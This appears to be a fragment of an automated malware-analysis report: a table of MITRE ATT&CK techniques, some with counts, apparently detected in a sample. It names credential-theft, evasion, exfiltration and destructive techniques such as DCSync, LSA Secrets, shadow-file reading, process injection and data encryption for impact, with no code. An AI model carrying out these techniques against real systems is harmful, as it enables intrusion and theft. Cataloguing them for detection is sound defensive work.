Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	11 Security Software Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	1 Proxy	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Masquerading	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement